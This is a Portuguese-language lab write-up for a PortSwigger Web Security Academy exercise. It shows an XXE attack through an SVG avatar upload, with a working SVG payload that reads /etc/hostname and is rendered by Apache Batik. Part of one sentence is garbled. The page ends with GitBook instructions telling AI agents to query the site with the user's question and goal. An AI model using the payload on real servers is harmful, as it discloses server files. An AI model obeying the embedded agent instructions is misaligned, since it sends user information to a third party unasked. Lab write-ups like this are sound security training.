> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/xxe/xxe-via-malicious-image-upload.md).

# XXE via Upload de Imagem Maliciosa

Notas sobre XXE via Upload de Imagem Maliciosa para laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payloads, validação no Burp Suite e contexto de remediação.

### Explorando XXE via envio de arquivo de imagem

Explorando uma vulnerabilidade XXE enviando uma imagem maliciosa (SVG) que, durante o processamento pela biblioteca Apache Batik, revela o conteúdo de um arquivo local. O exercício exige fazer upload de um avatar SVG exibindo `/etc/hostname` conteúdo e então enviar o nome do host como solução.

O site oferece um formulário para adicionar d的avatar para comentários. Ao interceptar o d

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b6c50bc60b50f0a6601edc7d2e993c688fcce39a%2F%7B5916D6B8-BF3F-4B83-81A1-7939B73F35DF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-deb2d7e349fb839b8cfa7bc609d06c54d4c367d0%2F%7BDC74CA07-F8EC-417A-8DF2-5749BFA83626%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Crie um arquivo SVG contendo uma `<!DOCTYPE>` declaração que define uma entidade externa apontando para `file:///etc/hostname` e então insira essa entidade no texto SVG para que, uma vez renderizado/processado, o conteúdo do arquivo seja injetado na imagem exibida.

```svg
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
   <text font-size="16" x="0" y="16">&xxe;</text>
</svg>
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a343b3264d357cef21e140b4f35c0a4beda7e57b%2F%7B5AC5DB1F-C391-431C-9982-BD190FA54C67%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Após o upload, a exibição do avatar na seção de comentários mostra que o servidor interpretou o SVG e retornou o valor da entidade — o conteúdo de `/etc/hostname` aparece na imagem, permitindo recuperar o nome do host e enviar a solução.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e2d53d5c99fede0707e750fa8d06ef7d64984257%2F%7BAC47938B-9598-40B7-851B-A27A65E30360%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/xxe/xxe-via-malicious-image-upload.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
